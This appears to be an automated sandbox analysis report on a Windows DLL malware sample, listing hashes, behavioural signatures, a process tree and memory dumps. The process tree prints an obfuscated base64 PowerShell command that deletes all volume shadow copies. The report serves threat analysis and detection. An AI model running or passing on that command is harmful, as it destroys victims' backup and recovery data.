Analysis

  • max time kernel
    119s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 00:56

General

  • Target

    d72293344521c9740801788c0155ce0ad33e89cda85776554a88f73aa9ae200a.dll

  • Size

    166KB

  • MD5

    ab8f4c4066dd0eaa61d6a1e32d0312d9

  • SHA1

    d649f611ede50ab27e1856e17c0555158113fab4

  • SHA256

    d72293344521c9740801788c0155ce0ad33e89cda85776554a88f73aa9ae200a

  • SHA512

    dd1901a904c40a81922880f2a34c622d8dc0558ecea3a6f3520d87b26172cd784a0e3953d34948a9fe6b7ff46115be6fddd086655b4e76dea536dd8fcd0f5ace

Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\d72293344521c9740801788c0155ce0ad33e89cda85776554a88f73aa9ae200a.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1276
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\d72293344521c9740801788c0155ce0ad33e89cda85776554a88f73aa9ae200a.dll,#1
      2⤵
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1552
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:720
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:272
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1780

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/720-56-0x000007FEFB5D1000-0x000007FEFB5D3000-memory.dmp
      Filesize

      8KB

    • memory/720-57-0x000007FEF1AF0000-0x000007FEF264D000-memory.dmp
      Filesize

      11.4MB

    • memory/720-58-0x0000000002510000-0x0000000002512000-memory.dmp
      Filesize

      8KB

    • memory/720-59-0x0000000002512000-0x0000000002514000-memory.dmp
      Filesize

      8KB

    • memory/720-60-0x0000000002514000-0x0000000002517000-memory.dmp
      Filesize

      12KB

    • memory/720-61-0x000000000251B000-0x000000000253A000-memory.dmp
      Filesize

      124KB

    • memory/1552-55-0x00000000756C1000-0x00000000756C3000-memory.dmp
      Filesize

      8KB